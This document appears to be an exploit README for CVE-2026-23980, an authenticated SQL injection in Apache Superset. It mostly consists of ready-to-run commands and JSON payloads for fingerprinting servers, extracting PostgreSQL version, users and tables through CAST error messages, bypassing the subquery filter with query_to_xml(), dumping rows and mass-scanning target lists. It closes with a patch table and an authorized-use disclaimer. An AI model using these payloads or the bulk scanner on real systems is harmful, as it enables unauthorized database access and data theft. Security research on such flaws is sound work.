Share
## https://sploitus.com/exploit?id=D8CF948C-E57F-5E82-81C8-7E3D83BD46AF
# CVE-2026-23980 - Apache Superset Authenticated SQL Injection

```
    ____
   / __ \
  | |  | |
  | |__| |
   \___\_\
```

> **sqlExpression goes straight to the query. no parameterization. no hope.**

Apache Superset  ChartDataRestApi.data()
  -> QueryContext.get_df_payload()
  -> SqlaTable.get_sqla_query()
  -> adhoc column sqlExpression / extras.where injected
  -> validate_adhoc_subquery() BYPASSED via query_to_xml()
  -> raw SQL hits PostgreSQL
  -> CAST((...) AS INT) error leaks data in response
```

## Install

```bash
git clone https://github.com/oscarmine/CVE-2026-23980-Exploit.git
cd CVE-2026-23980-Exploit
pip install requests
```

## Usage

### Recon - fingerprint and enumerate datasources

```bash
python3 exploit.py --url http://target:8088 -u admin -p admin --check
```

### Test if a datasource is injectable

```bash
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 --test
```

### Extract data via error-based SQLi

```bash
# Database version
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
  --sql "SELECT version()"

# Database users
python3 exploit.py ... --sql "SELECT usename FROM pg_user LIMIT 1"

# List tables
python3 exploit.py ... --sql "SELECT table_name FROM information_schema.tables LIMIT 1"

# Current user
python3 exploit.py ... --sql "SELECT current_user"
```

### Bypass subquery validation with query_to_xml()

When `validate_adhoc_subquery()` blocks your query (detects FROM/JOIN):

```bash
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
  --sql "SELECT usename FROM pg_user LIMIT 1" --xml-bypass
```

This wraps the query in `query_to_xml()` which hides the FROM clause from the tokenizer.

### Dump multiple rows

```bash
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
  --sql "SELECT table_name FROM information_schema.tables" --dump --rows 20
```

### Use the WHERE injection point

```bash
python3 exploit.py --url http://target:8088 --ds-id 1 \
  --sql "SELECT version()" --injection-point where
```

### Bulk scan

```bash
python3 exploit.py --scan-file targets.txt --threads 20
python3 exploit.py --scan-file targets.txt --scan-output results.txt
```

### Proxy through Burp

```bash
python3 exploit.py --url http://target:8088 --ds-id 1 \
  --sql "SELECT version()" --proxy http://127.0.0.1:8080
```

## How it works

### Injection vectors

**sqlExpression** (default) - injected into a column definition:
```json
{
  "columns": [{
    "label": "injected",
    "sqlExpression": "CAST((SELECT version()) AS INT)",
    "expressionType": "SQL"
  }]
}
```

**where** - injected into the extras.where clause:
```json
{
  "extras": {
    "where": "1=1 AND CAST((SELECT version()) AS INT) > 0"
  }
}
```

### Error-based extraction

The exploit uses PostgreSQL's type casting to leak data:

```sql
CAST((SELECT version()) AS INT)
```

PostgreSQL can't convert a string to integer, so it throws:
```
ERROR: invalid input syntax for type integer: "PostgreSQL 15.2 ..."
```

The leaked value is parsed from the error message in the API response.

### Validation bypass

Superset's `has_table_query()` scans for `FROM`/`JOIN` to detect subqueries. PostgreSQL's `query_to_xml()` executes SQL but hides it as a function argument:

```sql
query_to_xml('SELECT usename FROM pg_user LIMIT 1', true, false, '')
```

The tokenizer sees a function call, not a `FROM` clause, bypassing the filter.

## Patch analysis

| Version | Status |
|---|---|
| < 4.0.2 | Vulnerable (no XML function denylist) |
| 4.0.2 | Partial fix (CVE-2024-39887 - added some XML functions to denylist) |
| 4.1.0 | Extended denylist (more XML functions) |
| 4.1.2 | Row-level security bypass fixed (CVE-2025-48912) |
| **6.0.0** | **Full fix for CVE-2026-23980** |

## References

- [NVD - CVE-2026-23980](https://nvd.nist.gov/vuln/detail/CVE-2026-23980)
- [Apache Advisory](https://lists.apache.org/thread/h4l02zw1pr2vywv0dc5zjn3grdcdhwf4)
- [Quarkslab - Bypass Superset SQLi restrictions](https://blog.quarkslab.com/bypass-apache-superset-restrictions-to-perform-sql-injections.html)
- [OSS Security](https://www.openwall.com/lists/oss-security/2026/02/24/5)
- [CVE-2025-48912 - Related RLS bypass](https://github.com/advisories/GHSA-8w7f-8pr9-xgwj)

## Disclaimer

This tool is for **authorized security research only**. Only use against systems you have explicit permission to test. The author is not responsible for misuse.